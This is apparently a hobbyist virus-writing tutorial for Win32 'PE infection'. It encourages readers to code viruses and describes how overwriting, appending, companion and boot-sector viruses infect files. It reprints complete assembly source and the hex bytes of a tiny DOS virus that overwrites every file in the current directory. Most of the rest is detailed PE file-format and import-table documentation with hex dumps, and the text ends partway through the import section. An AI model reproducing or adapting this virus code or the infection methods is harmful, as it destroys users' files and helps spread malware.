========================================== === PE INFECTION TUTORIAL FOR BEGINNER === ==========================================

ART #1 : FIRST WORDS ART #2 : VIEW OF THE PAST ART #3 : YOUR FIRST PROGRAMM IN WIN32 ART #4 : PE FILE FORMAT ART #5 : ACCESSING WIN32 API ART #6 : HOW TO USE SOME APIS ART #7 : DELTA OFFSET ART #8 : RETURN TO THE HOST ART #9 : TIPS n' TRICKS CODE SECTION WRITEABLE REDUCE YOUR CODE COMPRESSED PE FILE

============================================================= + ________ + + /\ |---\ | | | /| + + / \ | | | --+----+-- / | + + / \ |___/ | | | / | + + /------\ | \ | --+----+-- | + + / \ | \ | | | | + + + =============================================================

FIRST WORDS

So you want to code your own WIN32 virus ! ! ! If you are not stupid, if you are patient and if you want really to do it then you can write a WIN32 virus in asm language..... But first you should answer to this stupid question: WHY DO YOU WANT TO DO IT !!!!?

- To destroy files? - To kill all the BIOS of the universe? - To fuck Micro$oft OS? - Because it's only a chanlenge for you? - To claim to the world a message of peace?

If you choose one of the three first answer, then you should phone to a psychiatric therapist ! ! ! ! ! But if you want to claim a message of peace then you are welcome in vx coding world...

Writing a virus is forbidden, so you should be prudent, and you had better not to ask stupid questions. See law texts about informatics.

What you should have:

-A brain. (Logical and equipped with the option "English language") -A computer. -Patience. -A linker (TASM, NASM, MASM...) and his Doc. I prefer NASM .... (with NASM you can code for UNIX n' WIN32 platform, NASM is open source!!!) (MASM means 'Micro$oft ASM'...no comment...) -An asm file editor (of course you can only use NOTEPAD...) but see QEDITOR.EXE in MASM pack

-A good hex editor (WINHEX)

What you should find:

-Tutorials for the asm language if you have no knowledge about it. -Virus tutorials and Vx zines:

Download -40Hex zines : Old zines (a lot article for DOS) -29A zines : Very very interesting zines. -SLAM zines : essentially for macro virus. -Vx tazy zine : A very cool zine. Thanks dear Lord Julus -Vdat : Big collection of vx article. By Cicatrix -... -... -Documentation about file format (EXE PE, see PECOFF.DOC from micro$oft). -Doc about how to use WIN32 APIs (WIN32.HLP).

You should read all you will find about vx coding, read, read and read....

============================================================= + ________ __ + + /\ |---\ | | | / \ + + / \ | | | --+----+-- / | + + / \ |___/ | | | / + + /------\ | \ | --+----+-- / + + / \ | \ | | | /___ + + + =============================================================

A VIEW OF THE PAST

Here I will speak about the old DOS viruses:

DOS IS DEAD !!! I loved DOS because it was my first OS on an old 186 with an 'Hercules' graphic card ;-)

Writing a simple DOS virus is very, very, very easy...I've learn vx coding with some old tutorials (40 hex...)

Common target files for viruses:

- *.COM - *.EXE - *.SYS - *.DOC - *.ZIP *.ARJ *.ARC ,all compressed archive files. - *.OBJ *.ASM ;-)

Methods of infection:

* overwriting * non-overwriting (appending) * companion * BOOT infector

OVERWRITTING VIRUS(*.COM infector):

They were very destructive because they copy themselves over the host and the infected file will never run anymore:

Before infection After infection

+---------------+ +---------------+ | F F F F F F | | V I R U S | | I I I I I I | +---------------+ | L L L L L L | | L L L L L L | | E E E E E E | | E E E E E E | +---------------+ +---------------+

NON-OVERWRITTING VIRUS (*.COM infector only):

This virus don't destroy the infected file, so he can spread as he want.

Before infection After infection

+---------------+ ---->-- +---------------+ <-- +---------------+ | F F F F F F | | --<-| JMP to VIRUS | <-- | F F F F F F | | I I I I I I | | | | | <-- | I I I I I I | | L L L L L L | | | +---------------+ +---------------+ | E E E E E E | | | | L L L L L L | | +---------------+ | | | E E E E E E | | | | +---------------+ | | -->-| INFECT FILES | | | +---------------+ | | | RESTORE THE | | | | FIRST OVER- |--->-------/ | | WRITED BYTES | | +---------------+ ----<---|JMP to the host| +---------------+

The virus copy himself to the end of the host and overwrite the first bytes by writing an JMP op code to the virus, infect others files, restore the first overwritten bytes, and jmp to the host (beginning of the file)...

COMPANION VIRUS:

We found some companion viruses code in WIN32 but they appeared under DOS: - When you tape c:\my_prog -DOS search first for c:\my_prog.COM -DOS search next for c:\my_prog.EXE if c:\my_prog.COM is not found -DOS search next for c:\my_prog.BAT if c:\my_prog.EXE is not found -DOS print on screen "file not found if c:\my_prog.BAT is not found

-So the companion virus search for my_prog.EXE, if present so it create a my_prog.COM, copy himself on my_prog.COM So after infection if you tape c:\my_prog then my_prog.COM (the virus)

is run first and the virus run my_prog.EXE ...CLEAR ?

BOOT infector:

These virus infect the Master boot of a floppy or an hard drive. They were powerful because the virus run before the Operating System. Writing an BOOT virus is not so easy in WIN32 because we are under the protected mode

I will now show you a very tiny overwriting virus(.COM infetor): ;-------------------------------------------------------------------- ; The EXEcution III Virus. ; ; Well, you're now the prouw owner of the smallest virus ever made! ; only 23 bytes long and ofcourse again very lame.. ; But what the heck, it's just an educational piece of code!! ; ; (C) 1993 by [DàRkRàY] of TridenT (Ooooooranje Boooooooven!) ; ; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his ; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! ;-)) ; ; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions ; it might not work!

_CODE SEGMENT ASSUME CS:_CODE

ORG 100h START: ; That's where we're starting... FILE DB '*.*',0h ; Dummy instruction, SUB's 0FFh from CH

MOV AH,4Eh ; Let's search! DO_IT: MOV DX,SI ; Make DX = 100h (offset file) INT 21h ; Search now dude! MOV AX,3D01h ; Hmm, infect that fucking file! MOV DX,9Eh ; Name is at DS:[9Eh] INT 21h ; Go do it! XCHG BX,AX ; Put the handle in BX

MOV AH,40h ; Write myself! JMP DO_IT ; Use other routine

_CODE ENDS END START

; If you don't like my english: Get lost, you can understand it! ;-------------------------------------------------------------------------

This virus overwrite all file (*.*) he find in the current directory only. He looks like:

2A 2E 2A 00 B4 4E 8B D6 CD 21 B8 01 3D BA 9E 00 CD 21 93 B4 40 EB EF

very tiny, is'nt it?

It was a challenge under DOS to code the smallest virus...strange game !

============================================================= + ________ ___ + + /\ |---\ | | | / \ + + / \ | | | --+----+-- / | + + / \ |___/ | | | __/ + + /------\ | \ | --+----+-- \ + + / \ | \ | | | \ | + + \___/ + =============================================================

YOUR FIRST WIN32 PROGRAMM

Asm is the most powerful language but the more difficult to learn. Use your brain ;-) If you have began coding asm under DOS so you can easy understand this:

;----------------------------------------------------------------; model tiny ; model for a .COM file ; .radix 16 ; ; .code ; code section ; org 100h ; a .COM file is load at offset 100h ; start: ; coded for TASM ; ;------------------------; ; ; mov ah,09 ; ; mov dx,offset hello ; address of text to print on screen ; int 21 ; ; ; mov ax,4c00 ; ; int 21 ; END ! ; ; hello db "HELLO $",0 ; ; ;----------------------------------------------------------------;

You had to put some values on specific register before to call DOS or BIOS interrupt(int). In win32 you should put values on stack before to call WIN32 API and the APIs will do the job for you. I will now show you the same program in WIN32:

;----------------------------------------------------------;; Coded for NASM ;; nasm -fobj hello.asm ;; alink -oPE hello \lib\kernel32.lib \lib\user32.lib ; ;extern MessageBoxA ; APIs used ;extern ExitProcess ; in this file ; ;[SECTION CODE USE32 CLASS=CODE] ; code section ;..start: ; for the linker ; ; push byte 0 ; only the buttons 'OK' ; push dword caption ; caption of the BOX ; push dword text ; text in the BOX ; push byte 0 ; handle of the Box ;

call MessageBoxA ; print BOX on screen ; ; push byte 0 ; ; call ExitProcess ; EXIT ; ; caption db "Your first WIN32 programm",0 ; text db "HELLO",0 ; ;end ; for the linker ; ;;----------------------------------------------------------;

you can link and compile this prog...I will use it to explain you some tricks

============================================================= + ________ + + /\ |---\ | | | / + + / \ | | | --+----+-- / + + / \ |___/ | | | / | + + /------\ | \ | --+----+-- /---|-- + + / \ | \ | | | | + + + =============================================================

PE FILE FORMAT

- Where DOS were still alive the two principal file formats of executable files were *.COM and *.EXE ,the image of a COM file (after been loaded in memory) is the same as is physical aspect (on hard drive). The image is just load after the PPS (Post Prefix Segment). A .COM file begin at offset 100h on memory, and his size can't be more than FFFFh bytes. It is not the case for EXE files. A EXE file begin with an header on which are put some values needed to load the file (DOS EXE files have only one header) - Windows 3.x appeared with a new kind of executable: the NE .EXE files (New Executable)

- Windows 9X appeared with a new .EXE format: the PE .EXE files (Portable Executable) The name "Portable Executable" refers to the fact that the format is not architecture-specific.

I will now show you the PE file format (PE32 only):

A .EXE PE file looks like this:

+--------------------------+ | OLD DOS EXE HEADER | +--------------------------+ | PE HEADER | +--------------------------+ | PE OPTIONAL HEADER | +--------------------------+ | OBJECT TABLE |

+--------------------------+ | SECTION # 1 | +--------------------------+ | SECTION # 2 | +--------------------------+ | SECTION # 3 | +--------------------------+ . | . | . | . |

+--------------------------+ | SECTION # n | +--------------------------+

The most common section you will find in PE file are: -code section : section of win32 code (program). -data sections : initialized/uninitialized data. -import section : the APIs used in the file are enumerate here and the loader will write here address of APIs used in order to call them. -export section : for .DLL file: entry point of APIs are enumerate here. -resource section : contains info about the file (icon,...). -debug section : contains debugging info. -relocation section : use for relocation.

********************** * OLD DOS EXE HEADER * **********************

I will not describe in detail this header because a lot of values are unused nowadays. Read old vx articles if you want. Offset Size Description

00h 2 BYTEs .EXE signature, "MZ" (4D5Ah) 02h WORD number of bytes in last page 04h WORD number of pages (include the last page) (a page=512 bytes) 06h WORD number of relocation entries 08h WORD header size in paragraphs (a paragraph=16 bytes) 0Ah WORD minimum paragraphs of memory needed 0Ch WORD maximum paragraphs of memory needed 0Eh WORD initial SS 10h WORD initial SP 12h WORD checksum 14h DWORD initial CS:IP (beginning of the executable) 18h WORD Set to 40h or more for new-format (NE,LE,LX,PE,...) 1Ah WORD overlay number (normally set to 0) 1Ch 4 BYTEs Reserved 20h WORD ? 22h 26 BYTEs Reserved 3Ch DWORD offset of new executable (NE,LE,PE,...) header

Take a look at our HELLO.EXE file (edit it in hex):

Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

00000000 4D 5A 6C 00 01 00 00 00 04 00 11 00 FF FF 03 00 MZ.............. 00000010 00 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ................ 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00 ................ 00000040 0E 1F BA 0E 00 B4 09 CD 21 B8 00 4C CD 21 54 68 ..............Th 00000050 69 73 20 70 72 6F 67 72 61 6D 20 72 65 71 75 69 is program requi 00000060 72 65 73 20 57 69 6E 33 32 0D 0A 24 00 00 00 00 res WIN32....... -At offset 0h you can see the MZ signature (4D5Ah), all EXE files begin with this signature. -At Offset 18h is the word 0040h so if you try to run this file under DOS then a JMP to offset 40h is done and the code is:

HEX values op codes

0E - push cs 1F - pop ds BA0E00 - mov dx,offset text ; B409 - mov ah,09 ; CD21 - int 21 ; print text on screen B8004C - mov ax,4C00 ; CD21 - int 21 ; END - text db "This programm requires WIN32",0D,0A

So the .EXE file print "This programm requires WIN32" if you don't run it in a WIN32 environment (win9x and later)

-At offset 3ch is the dword 'header relocation'. This value here is 70h So the New Header (PE header) begin at offset 70h

************* * PE HEADER * *************

The PE HEADER looks like:

<---------DWORD---------> <---WORD--->

+-------------------------+------------+------------+ | SIGNATURE | CPU TYPE | # OBJECTS | +-------------------------+------------+------------+ | TIME/DATE | RESERVED | +-------------------------+-------------------------+ | RESERVED | OPTIONAL | FLAGS | | | HDR SIZE | | +-------------------------+------------+------------+

SIGNATURE :This value is "PE",0,0 or 00005045h in hex. All PE .EXE files begin with this value.

CPU TYPE :Type of CPU required by this image to run. The values are:

0 unknown 014Ch 386 or later, and compatible processors. 014Dh 80486 014Eh Pentium TM 0162h MIPS Mark I (R2000, R3000) 0163h MIPS Mark II (R6000) 0166h MIPS Mark III (R4000) 0168h MIPS little-endian 0169h MIPS little-endian WCE v2 0184h Alpha_AXP 01F0h IBM PowerPC Little-Endian 01a2h Hitachi SH3 little-endian 01a4h Hitachi SH3E little-endian 01a6h SH4 little-endian 01c0h ARM Little-Endian 01f0h Power PC, little endian 0200h Intel 64 0266h MIPS16 0268h Motorola 68000 series 0284h Alpha AXP 64-bit 0366h MIPS FPU 0466h MIPS 16 FPU 0284h ALPHA64

# OBJECTS :Number of entries in the Object Table.

TIME/DATE :Time and date the file was created or modified by the linker.

OPTIONAL HDR SIZE :Size of the optional header

FLAGS :Flag bits for the image.

Flag Definition

0000h Programm image 00001h (IMAGE_FILE_RELOCS_STRIPPED) Image only, Windows CE, NT and above. Indicates that the file does not contain base relocations and must therefore be loaded at its preferred base address. If the base address is not available, the loader reports an error. Operating systems running on top of MS-DOS (Win32s) are generally not able to use the preferred base address and so cannot run these images. However, beginning with version 4.0, Windows will use an application's preferred base address. The default behavior of the linker is to strip base relocations from EXEs. 00002h Image is executable. 00004h COFF line numbers have been removed. 00008h COFF symbol table entries for local symbols have been removed. 00010h Aggressively trim working set. 00020h App can handle > 2gb addresses. 00040h Use of this flag is reserved for future use. 00080h Little endian: LSB precedes MSB in memory. 00100h 32 bit word machine. (win32 environment)

00200h Debugging information removed from image file. 00400h If image is on removable media, copy and run from swap file. 01000h The image file is a system file, not a user program. 02000h Library image (.DLL) 04000h File should be run only on a UP machine. 08000h Big endian: MSB precedes LSB in memory.

if you found the flag 0102h then it means 0100h+0002h ...

NOW we know (look at the old DOS header) that the new header begin at offset 70h So take a look are our hello.exe file at offset 70h

Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

00000070 50 45 00 00 4C 01 04 00 74 93 5D 3D 00 00 00 00 PE.............. 00000080 00 00 00 00 E0 00 02 01 ................

-At offset 70h we see the value "PE",0,0 so here is the beginning of the PE header -At offset 74h is the word 014Ch (reverse the bytes) so Intel 80386 PC is needed to run this file. -At offset 76h is the word 0004h. So there is 4 sections described in the object table -At offset 84h is the size of the optional header (00E0h) -At offset 86h is the flag for the image: 0102h (0100h+0002h)

********************** * PE OPTIONAL HEADER * **********************

Before to show you the structure of the PE OPTIONAL HEADER I will tell you some word about the notion of IMAGE BASE and Relative Virtual Address (RVA) It is very simple but very important in WIN32 environment: The IMAGE BASE is the address on which the file is load by the loader, so at this address we will find the beginning of the file (old MZ DOS HEADER). An RVA is in fact a distance from the image base (from the beginning of the image of the file). For example if a file has 00400000h for IMAGE BASE and his first section has for RVA 001000h then this section will be load at this address: 00400000h + 00001000h (IMAGE BASE+RVA). CLEAR?

The PE OPTIONAL HEADER is place just after the PE HEADER. There are a lot of very important for the loader and for us! I still don't know why it is called 'OPTIONAL'.

The PE OPTIONAL HEADER (PE32 only) looks like: <---WORD---> <---------DWORD--------->

+------------+------------+------------+------------+ | SIGNATURE? | LMAJOR | LMINOR | RESERVED | +------------+------------+------------+------------+ | RESERVED | RESERVED | +-------------------------+-------------------------+ | ENTRYPOINT RVA | RESERVED |

+-------------------------+-------------------------+ | RESERVED | IMAGE BASE | +-------------------------+-------------------------+ | OBJECT ALIGN | FILE ALIGN | +-------------------------+-------------------------+ | OS MAJOR | OS MINOR | USER MAJOR | USER MINOR | +------------+------------+------------+------------+ | SUBSYS MAJ | SUBSYS MIN | RESERVED | +------------+------------+-------------------------+ | IMAGE SIZE | HEADER SIZE | +-------------------------+------------+------------+ | FILE CHECKSUM | SUBSYSTEM | DLL FLAGS | +-------------------------+------------+------------+ | STACK RESERVE SIZE | STACK COMMIT SIZE | +-------------------------+-------------------------+ | HEAP RESERVE SIZE | HEAP COMMIT SIZE | +-------------------------+-------------------------+ | RESERVED | # RVA/SIZES | +-------------------------+-------------------------+ | EXPORT TABLE RVA | TOTAL EXPORT DATA SIZE | +-------------------------+-------------------------+ | IMPORT TABLE RVA | TOTAL IMPORT DATA SIZE | +-------------------------+-------------------------+ | RESOURCE TABLE RVA | TOTAL RESOURCE DATA SIZE| +-------------------------+-------------------------+ | EXCEPTION TABLE RVA |TOTAL EXCEPTION DATA SIZE| +-------------------------+-------------------------+ | SECURITY TABLE RVA |TOTAL SECURITY DATA SIZE | +-------------------------+-------------------------+ | FIXUP TABLE RVA | TOTAL FIXUP DATA SIZE | +-------------------------+-------------------------+ | DEBUG TABLE RVA |TOTAL DEBUG DIRECTORIES | +-------------------------+-------------------------+ | IMAGE DESCRIPTION RVA |TOTAL DESCRIPTION SIZE | +-------------------------+-------------------------+ | MACHINE SPECIFIC RVA | MACHINE SPECIFIC SIZE | +-------------------------+-------------------------+ | THREAD LOCAL STORAGE RVA| TOTAL TLS SIZE | +-------------------------+-------------------------+

SIGNATURE? : The Optional Header's Magic number determines whether an image is a PE32 or PE32+ executable: - 0x10b for PE32 (010bh) - 0x20b for PE32+ (020bh) PE32+ images allow for a 64-bit address space while limiting the image size to 4 Gigabytes (code in 64bits) Other PE32+ modifications are addressed in their respective sections. (In WIN9X ,NT, 2000, ME you will find only PE32 but in XP you find PE32+...it's not really different, download the PE file format documentation on micro$oft web site)

LMAJOR/LMINOR : The major/minor version number of the linker.

ENTRYPOINT RVA : Entrypoint relative virtual address. The address is relative to the Image Base. This address is the starting address for the program.

IMAGE BASE : The virtual base of the image. This will be the

virtual address of the first byte of the file (DOS Header). This must be a multiple of 64K. (The file is load at this address in memory)

OBJECT ALIGN : The alignment of the objects. This must be a power of 2 between 200h and 256M inclusive. The default is 1000h. All section of the file will be loaded at an offset which is a power of OBJECT ALIGN dword.

FILE ALIGN : Alignment factor used to align image pages. All section of the file are written at an offset which is a power of FILE ALIGN dword. Larger alignment factors will cost more file space Smaller alignment factors will impact demand load performance, perhaps significantly. Of the two, wasting file space is preferable. This value should be a power of 2 between 200h and 64K inclusive.

OS MAJOR/OS MINOR : The OS version number required to run this image.

USER MAJOR/MINOR : User major/minor version number. This is useful for differentiating between revisions of images/dynamic linked libraries. The values are specified at link time by the user.

SUBSYS MAJ/MIN : Subsystem major/minor version number.

IMAGE SIZE : The virtual size (in bytes) of the image. This includes all headers. The total image size must be a multiple of Object Align. HEADER SIZE : Total header size. The combined size of the old DOS Header, PE Header ,PE optional Header and Object Table. FILE CHECKSUM : Checksum for entire file. Set to zero by the linker.

SUBSYSTEM : subsystem required to run this image. The values are:

0000h - Unknown 0001h - Used for device drivers and native Windows NT processes. 0002h - Image runs in the Windows graphical user interface (GUI) subsystem. 0003h - Image runs in the Windows character subsystem. 0005h - OS/2 Character 0007h - POSIX Character 0008h - Image is a native Win9x driver. 0009h - Windows CE subsystem. 0010h - Image is an EFI application. 0011h - Image is an EFI driver that provides boot services 0012h - Image is an EFI driver that provides runtime services. DLL FLAGS : Indicates special loader requirements. This flag has the following bit values:

00001h - Per-Process Library Initialization 00002h - Per-Process Library Termination 00004h - Per-Thread Library Initialization 00008h - Per-Thread Library Termination 00800h - Do not bind image 02000h - Driver is a WDM Driver 08000h - mage is Terminal Server aware All other bits are reserved for future use and should be set to zero.

STACK RESERVE SIZE : Stack size needed for image. The memory is reserved, but only the Stack Commit Size is committed. The next page of the stack is a 'guarded page.' When the application hits the guarded page, the guarded page becomes valid, and the next page becomes the guarded page. This continues until the Reserve Size is reached. STACK COMMIT SIZE : Stack commit size.HEAP RESERVE SIZE : Size of local heap to reserve.HEAP COMMIT SIZE : Amount to commit in local heap.# RVA/SIZES : Indicates the size of the RVA/Size array that follows.EXPORT TABLE RVA : RVA of the Export Table.TOTAL EXPORT DATA SIZE : Total size of the export data.IMPORT TABLE RVA : RVA of the Import Table. This address is relative to the Image Base.TOTAL IMPORT DATA SIZE : Total size of the import data.RESOURCE TABLE RVA : RVA of the Resource Table.TOTAL RESOURCE DATA SIZE : Total size of the resource data.EXCEPTION TABLE RVA : RVA of the Exception Table.TOTAL EXCEPTION DATA SIZE : Total size of the exception data.SECURITY TABLE RVA : RVA of the Security Table.TOTAL SECURITY DATA SIZE : Total size of the security data.FIXUP TABLE RVA : RVA of the Fixup Table.TOTAL FIXUP DATA SIZE : Total size of the fixup data.DEBUG TABLE RVA : RVA of the Debug Table.TOTAL DEBUG DIRECTORIES : Total number of debug directories.IMAGE DESCRIPTION RVA : RVA of the description string specified in the module definition file.TOTAL DESCRIPTION SIZE : Total size of the description data.MACHINE SPECIFIC RVA : RVA of a machine-specific value.MACHINE SPECIFIC SIZE : A machine-specific value.THREAD LOCAL STORAGE RVA : RVA of local storage RVATOTAL TLS SIZE : Total size of local storage

Let's take a look at our hello.EXE file and especially at the OPTIONAL HEADER:

Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000080 0B 01 00 00 00 00 00 00 ........ 00000090 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 ................ 000000A0 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 ................ 000000B0 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................ 000000C0 00 50 00 00 00 04 00 00 00 00 00 00 02 00 00 00 ................

000000D0 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ................ 000000E0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................ 000000F0 00 30 00 00 94 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110 00 40 00 00 18 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160 00 00 00 00 00 00 00 00 ........

-At offset 000000A4h is the IMAGE BASE: this value is 00400000h So the file will be loaded in memory at 00400000h -At offset 000000A8h is the OBJECT ALIGN value: 00001000h. All section will be loaded at an offset which is a power of this value. -At offset 000000ACh is the File ALIGN value: 00000200h. All section are written (on disk) at an offset which is a power of this value. -At offset 000000F0h is the IMPORT TABLE RVA value: 00003000h. So the IMPORT TABLE begin at offset 00403000h on memory (IMAGE BASE+RVA) We will take a look at IMPORT TABLE later...

**************** * OBJECT TABLE * ****************

The number of entries in the Object Table is set by the # Objects field in the PE Header. Entries in the Object Table are numbered starting from one. The Object Table immediately follows the PE OPIONAL HEADER. The order and the name of the object are chosen by the linker. The RVA for objects must be assigned by the linker such that they are in ascending order and adjacent, and must be a multiple of Object Align set in the PE header. Each Object Table entry has the following format:

+---------------------------------------------------+ | OBJECT NAME | +-------------------------+-------------------------+ | VIRTUAL SIZE | RVA | +-------------------------+-------------------------+ | PHYSICAL SIZE | PHYSICAL OFFSET | +-------------------------+-------------------------+ | RESERVED | RESERVED | +-------------------------+-------------------------+ | RESERVED | OBJECT FLAGS | +-------------------------+-------------------------+

OBJECT NAME : Object name. This is an eight-byte, null-padded ASCII string representing the object name.

VIRTUAL SIZE : Virtual memory size. The size of the object that will be allocated when the object is loaded. Any difference between Physical Size and Virtual Size is zero filled. It is the size of the section after being load on memory.

RVA : Relative Virtual Address. This is the virtual address that the object is currently relocated to relative to the Image Base. Each Object's virtual address space consumes a multiple of

Object Align (power of 2 between 512 and 256M inclusive. The default is 64K.), and immediately follows the previous Object in the virtual address space (the virtual address space for an image must be dense).

PHYSICAL SIZE : Physical file size of the section. The size of the section in the file for the object. The physical size must be a multiple of the File Align field in the PE Header, and must be less than or equal to the Virtual Size.

PHYSICAL OFFSET : Physical offset for the object's first page. This offset is relative to the beginning of the EXE file, and is aligned on a multiple of the File Align field in the PE Header. The offset is used as a seek value.

OBJECT FLAGS : Flag bits for the object. The object flag bits have the following definitions:

Flag Definition

000000008h Section should not be padded to next boundary. This is obsolete and replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid for object files only. 000000020h Code object 000000040h Initialized data object 000000080h Uninitialized data object 000000200h Section contains comments or other information. The .drectve section has this type. This is valid for object files only. 000000800h Section will not become part of the image. This is valid for object files only. 000001000h Section contains COMDAT data. 000100000h Align data on a 1-byte boundary. valid for object files only. 000200000h Align data on a 2-byte boundary. 000300000h Align data on a 4-byte boundary. 000400000h Align data on a 8-byte boundary. 000500000h Align data on a 16-byte boundary. 000600000h Align data on a 32-byte boundary. 000700000h Align data on a 64-byte boundary. 000800000h Align data on a 128-byte boundary. 000900000h Align data on a 256-byte boundary. 000A00000h Align data on a 512-byte boundary. 000B00000h Align data on a 1024-byte boundary. 000C00000h Align data on a 2048-byte boundary. 000D00000h Align data on a 4096-byte boundary. 000E00000h Align data on a 8192-byte boundary. 001000000h Section contains extended relocations. 002000000h Section can be discarded as needed. 040000000h Object must not be cached 080000000h Object is not pageable 100000000h Object is shared 200000000h Executable object 400000000h Readable object 800000000h Writeable object All other bits are reserved for future use and should be set to zero.

Take a look one more time at our HELLO.EXE file

Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000160 43 4F 44 45 00 00 00 00 CODE.... 00000170 00 10 00 00 00 10 00 00 3A 00 00 00 00 04 00 00 ................ 00000180 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 ................ 00000190 49 4D 50 4F 52 54 53 00 00 10 00 00 00 20 00 00 IMPORTS......... 000001A0 0C 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00 ................ 000001B0 00 00 00 00 60 00 00 60 69 6D 70 6F 72 74 73 00 ........imports. 000001C0 00 10 00 00 00 30 00 00 94 00 00 00 00 08 00 00 ................ 000001D0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 ................ 000001E0 72 65 6C 6F 63 73 00 00 00 10 00 00 00 40 00 00 relocs.......... 000001F0 18 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 ................ 00000200 00 00 00 00 40 00 00 52 ........

-At offset 00000168h is the name of the first OBJECT TALBE: "CODE",0,0,0,0 With such a name we can easy deduce that it is the code section. -At offset 00000174h is the RVA of this section: 00001000h. So the code section will be loaded at offset 00401000h on memory (IMAGE BASE + RVA) -At offset 0000017Ch is the PHYSICAL OFFSET: 00000400h. So this section is writen on file at 00000400h (relative to the the beginning of the file) -At offset 0000018Ch are the FLAGS: 60000060h 60000060h = 000000020h + 000000040h + 200000000h + 400000000h | | | | Code object <----+ | | | Initialized data object <-----+ | | Executable object <-----------------------+ | Readable object <-------------------------------------+

****************** * IMPORT SECTION * ******************

The most difficult thing to understood in coding a win32 virus is the IMPORT section: All APIs (like MessageBoxA, ExitProcess,...) are in some .DLL files For example MessageBoxA is in user32.dll and ExitProcess is in kernel32.dll. Before to run hello.exe, the import section contain all the APIs name and the name of the .DLL used in hello.exe .When you run hello.exe file, the loader write at the right place (in import section) the address of the APIs (entry point in the .DLL files). Why a such thing??? because the .DLL file can be loaded at different address ( at the image base; note that image base value is only a suggested address). So the problem for us is that kernel32.dll is not always at the same place (see different version of windows: 95, 98, 2000, NT, ...) And the entry point of APIs are not at the same place...CLEAR ???

There is two ways to IMPORT APIs address in an PE .EXE file: by hint and by ordinal. But there is only one way to EXPORT APIs address in a .DLL file: by ordinal

I will try now to explain the concept of the IMPORT section (by hint): The IMPORT section (by hint) begin with the IMPORT DATA DIRECTORYs. A IMPORT DATA DIRECTORY is relative to only one .DLL After it is put data: .DLL name ,list of pointer, API address lists APIs name lists

The IMPORT DATA DIRECTORY looks like:

+-------------------------+-------------------------+ | RVA to a list of | DATE/TIME | | pointer to APIs names | | IMPORT DATA DIRECTORY +-------------------------+-------------------------+ #1 | .DLL address (unused) | RVA to .DLL name | +-------------------------+-------------------------+ |RVA to API address list | +-------------------------+

| | | IMPORT DATA DIRECTORY | | | #n

| | |

+-------------------------+-------------------------+ | NULL | NULL | NULL IMPORT DATA | | | DIRECTORY to say +-------------------------+-------------------------+ it's the end | NULL | NULL | +-------------------------+-------------------------+ | NULL | +-------------------------+

- RVA to a list of pointer to APIs names : This RVA point to a list of others pointers which point to API NAMEs imported from the .DLL

- DATE/TIME : - .DLL address (unused) : In win9X this field contains the address where is load the .DLL file but not under win NT,2000,XP). Please don't use this value - RVA to .DLL name : This RVA point to the name of the .DLL file (library) - RVA to API address list : This RVA point to the list of API address (the loader write them...)

Ok let's see the IMPORT section of our hello.exe file:

View of IMPORT section BEFORE loading hello.exe

Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000800 58 30 00 00 00 00 00 00 00 00 00 00 3C 30 00 00 ............<0.. 00000810 60 30 00 00 68 30 00 00 00 00 00 00 00 00 00 00 ................ 00000820 48 30 00 00 70 30 00 00 00 00 00 00 00 00 00 00 ................ 00000830 00 00 00 00 00 00 00 00 00 00 00 00 75 73 65 72 ............user 00000840 33 32 2E 64 6C 6C 00 00 6B 65 72 6E 65 6C 33 32 32.dll..kernel32 00000850 2E 64 6C 6C 00 00 53 04 78 30 00 00 00 00 00 00 .dll............ 00000860 78 30 00 00 00 00 00 00 86 30 00 00 00 00 00 00 x0.............. 00000870 86 30 00 00 00 00 00 00 00 00 4D 65 73 73 61 67 å0........Messag

00000880 65 42 6F 78 41 00 00 00 45 78 69 74 50 72 6F 63 eBoxA...ExitProc 00000890 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 ess.............

View of IMPORT section AFTER loading hello.exe

MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00403000 58 30 00 00 91 A1 39 37 00 00 F5 BF 3C 30 00 00 ..........§+<0.. 00403010 60 30 00 00 68 30 00 00 B4 C2 1F 37 00 00 F7 BF ........¦-.7..¸+ 00403020 48 30 00 00 70 30 00 00 00 00 00 00 00 00 00 00 ................ 00403030 00 00 00 00 00 00 00 00 00 00 00 00 75 73 65 72 ............user 00403040 33 32 2E 64 6C 6C 00 00 6B 65 72 6E 65 6C 33 32 32.dll..kernel32 00403050 2E 64 6C 6C 00 00 53 04 78 30 00 00 00 00 00 00 .dll............ 00403060 2E 41 F5 BF 00 00 00 00 86 30 00 00 00 00 00 00 .A§+............ 00403070 F8 D4 F8 BF 00 00 00 00 00 00 4D 65 73 73 61 67 °È°+......Messag 00403080 65 42 6F 78 41 00 00 00 45 78 69 74 50 72 6F 63 eBoxA...ExitProc 00403090 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 ess.............

